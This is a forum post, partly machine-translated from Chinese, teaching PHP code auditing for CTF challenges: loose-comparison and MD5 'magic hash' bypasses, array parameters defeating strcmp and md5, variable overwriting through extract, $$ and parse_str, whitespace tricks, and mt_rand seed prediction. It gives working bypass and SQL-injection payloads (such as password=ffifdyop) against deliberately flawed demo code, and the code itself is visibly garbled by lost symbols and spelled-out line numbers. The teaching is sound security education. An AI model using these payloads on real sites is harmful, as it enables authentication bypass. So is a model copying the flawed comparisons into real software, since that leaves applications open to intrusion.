Jump to content

Featured Replies

Posted

CTF 中的 PHP 代码审计

1 PHP 弱类型问题

1.1 原理

双等于号:If $a is equal to $b after type conversion

三等于号:All equal to True If $a equals $b and their types are the same

If a value is compared with a string, the string is converted to a value

Common comparison results:

1

2

3

4

5

6

7

8

9

''==0==false

'123'==123

'abc'==0

'123a'==123

'0x01'==1

'0e123456789'=='0e987654321'

false==0==NULL==''

NULL==false==0

true==1

1.2 实例

1.2.1 MD5 等 hash 函数相关题目

1.2.1.1 DEMO 1

20190116101600.png-water_print

Payload: url?param1=QNKCDZOparam2=aabg7XSs

1.2.2.2 DEMO 2

20190116101741.png-water_print

Payload: url?param1[]=1param2[]=

1.2.2.3 DEMO 3

20190116101835.png-water_print

After String casting, when passing in an array, the return value is Array fail, which cannot be bypassed, so it adopts the form of MD5 collision.

Tool: fastcoll

Payload:

20190116110131.png-water_print

1.2.2.4 DEMO 4

20190116101915.png-water_print

Payload: url?name[]=1password[]=

1.2.2.5 DEMO 5 - MD5 与 SQL 注入的融合

20190116103644.png-water_print

Payload: url?password=ffifdyop

20190116103630.png-water_print

1.2.2 JSON 相关题目

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

?php

highlight_file(__FILE__);

include 'flag.php';

if(isset($_POST['message'])) {

$message=json_decode(_$POST['message']);

if($message-key==$key) {

echo $flag;

}

else {

echo 'fail';

}

}

else {

echo '~~~~';

}

?

Principle: Comparison of string flag{xxx} with number 0, the result is True

Payload: url?message={'key':0}

1.2.3 SWITCH 相关题目

Principle: When determining whether switch is a case of numeric type, switch will convert the parameters in it to int type. When judged by switch, it is double equal to type

1

2

3

4

5

6

7

8

9

10

11

12

13

14

?php

highlight_file(__FILE__);

$i='3nanme';

switch ($i) {

case 0:

case 1:

case 2:

echo 'this is two';

break;

case 3:

echo 'flag';

break;

}

?

1.2.4 STRCMP 相关题目

Principle: Use the parameters in strcmp as an array, the return value is NULL, which is equal to 0 in non-strict comparison.

1

2

3

4

5

6

7

8

9

10

11

12

13

?php

highlight_file(__FILE__);

include 'flag.php';

if(isset($_POST['password'])) {

if(strcmp($_POST['password'], $password)==0) {

echo 'Right!login success';

echo $flag;

exit();

} else {

echo 'Wrong password.';

}

}

?

Payload: url?password[]=

1.2.5 in_array 函数

1

2

3

4

5

6

?php

highlight_file(__FILE__);

$array=[0, 1, 2, '3'];

var_dump(in_array('abc', $array));

var_dump(in_array('1bc', $array));

var_dump(in_array(3, $array));

The return result is: true, true, true

1.2.6 array_search 函数

Search for the given value in the array, and if successful, return the first corresponding key name.

1

2

3

4

5

6

7

?php

highlight_file(__FILE__);

$array=[0, 1, 2, '3'];

var_dump(array_search('abc', $array));

var_dump(array_search('1bc', $array));

var_dump(array_search(3, $array));

var_dump(array_search('3', $array));

The return results are: 0, 1, 3, 3

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

?php

if (!is_array($_GET['test'])) {

exit();

}

$test=$_GET['test'];

for ($i=0; $i count($test); $i++) {

if ($test[$i]==='admin') {

echo 'error';

exit();

}

$test[$i]=intval($test[$i]);

}

if (array_search('admin', $test)===0) {

echo 'flag';

} else {

echo 'false';

}

Payload: url?test[0]=0

1.2.7 strpos 函数

1

2

3

4

5

?php

var_dump(strpos('abcd', 'a'));

//int(0)

var_dump(strpos('abcd', 'a')==false);

//bool(true)

2 变量覆盖问题

2.1 extract 函数

20190116141716.png-water_print

demo:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

?php

highlight_file(__FILE__);

include 'flag.php';

extract($_GET);

if(isset($gift)) {

$content=trim(file_get_contents($flag));

if($gift==$content) {

echo $trueflag;

}

else {

echo 'Oh.';

}

}

?

Let file_get_content() return value be empty, and you can bypass it.

Payload:gift=flag=

2.2 遍历初始化变量

Since $$ can be used in php to declare variables, the original value may be overwritten when traversing the array.

1

2

3

4

5

6

7

8

9

10

11

?php

highlight_file(__FILE__);

$a='helloworld';

echo $a;

echo '$a';

echo 'br /'

foreach($_GET as $key=$value) {

$$key=$value;

}

echo '$a';

?

Both $key and $value are controllable, so modify the point of $a variable at line 8 of the code, so that $key=a, $$key=$a, $value is the value you want to modify

Payload: url?a=afterChange

Demo:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

twenty one

twenty two

twenty three

?php

highlight_file(__FILE__);

include 'flag.php';

$_403='Access Denied';

$_200='Welcome Admin';

if($_SERVER['REQUEST_METHOD'] !='POST') {

die('BugsBunnyCTF is here:p.');

}

if (!isset($_POST['flag'])) {

die($_403);

}

foreach ($_GET as $key=$value) {

$$key=$$value;

}

foreach ($_POST as $key=$value) {

$$key=$value;

}

if($_POST['flag'] !==$flag) {

die($_403);

}

echo 'This is your flag : '. $flag . '\n';

die($_200);

?

Payload: url?_200=flag + post: flag=123

2.3 parse_str 函数

20190116143759.png-water_print

20190116143824.png-water_print

Demo:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

?php

include 'flag.php';

if(empty($_GET['id'])) {

show_source(__FILE__);

die();

} else {

include('flag.php');

$a='www.OPENCTF.com';

$id=$_GET['id'];

@parse_str($id);

if($a[0] !='QNKCDZO' md5($a[0])==md5('QNKCDZO')) {

echo $flag;

} else {

exit('It's actually very simple and not difficult!');

}

}

?

Payload: url?id=a[0]=s878926199a

Skill

Since PHP variable names cannot have "dots" and "spaces", they will be converted into underscores in the parase_str function.

1

2

3

?php

$a=$_GET['a_a'];

echo $a;

When the passed parameter is named: url?a.a=123, it will be converted into a_a, so the content can be output normally

3 空白符相关

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

twenty one

twenty two

twenty three

twenty four

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

?php

highlight_file(__FILE__);

include 'flag.php';

$info='';

$req=[];

ini_set('display_error', false);

error_report(0);

if(!isset($_GET['number'])) {

die('have a fun!');

}

foreach([$_GET, $_POST] as $global_var) {

foreach($global_var as key=$value) {

$value=trim($value);

is_string($value) $req[$key]=addslashes($value);

}

}

function is_palindrome_number($number) {

$number=strval($number);

$i=0;

$j=strlen($number) - 1;

while($i $j) {

if($number[$i] !==$number[$j]) {

return false;

}

$i++;

$j--;

}

return true;

}

if(is_numeric($_REQUEST['number'])) {

$info='Sorry, you can not input a number!';

}

else if($req['number'] !=strval(intval($req['number'])))

{

$info='number must be equal to it\'s integer!';

}

else

{

$value1=intval($req['number']);

$value2=intval(strrev($req['number']));

if($value1 !=$value2)

{

$info='no, this is not a palindrome number';

}

else

{

if(is_palindrome_number($req['number'])) {

$info='nice! {$value1} is a palindrome number!'

}

else {

$info=$flag;

}

}

}

echo $info;

?

3.1 intval 函数

Returns the interger value of var successfully and 0 on failure. Empty array returns 0, non-empty array returns 1

The maximum value depends on the operating system

The maximum signed integer range for 32-bit operating systems is -2147483648 to 2147483647

On a 64-bit system, the maximum signed integer value is 9223372036854775807

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

?php

echo intval(42); //42

echo intval(4.2); //4

echo intval('42'); //42

echo intval('+42'); //42

echo intval('-42'); //-42

echo intval(042); //34

echo intval('042'); //42

echo intval(1e10); //1000000000

echo intval('1e10'); //1

echo intval(0x1A); //26

echo intval(42000000); //42000000

echo intval(420000000000000000000); //0

echo intval('420000000000000000000'); //2147483647

echo intval(42, 8); //42

echo intval('42', 8); //34

echo intval(array()); //0

echo intval(array('foo', 'bar')); //1

?

3.2 浮点数精度

20190116150154.png-water_print

3.3 is_numeric 函数

20190116150258.png-water_print

When the passed string contains special symbols such as spaces, \t \r \n \v \f, the return result is still true

3.3 trim 函数

20190116150551.png-water_print

Function comparison:

Source code

trim

Remove\t\n\r\0\x0B

is_numeric, intval

Skip\t\n\r\f\v

payload :number=%00%0c121

4 伪随机数相关

4.1 mt_rand 函数

20190116153537.png-water_print

If we specify the range ourselves, it is easy to burst if it is too small. Therefore, in most practical applications, the range is not specified. The default range of the mt_rand() function is a pseudo-random number between 0 and mt_getrandmax()

20190116153802.png-water_print

The random numbers generated by the same seed are the same, so you can get the value of another rand on the same page by inversely minusing the seed of mt_rand

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.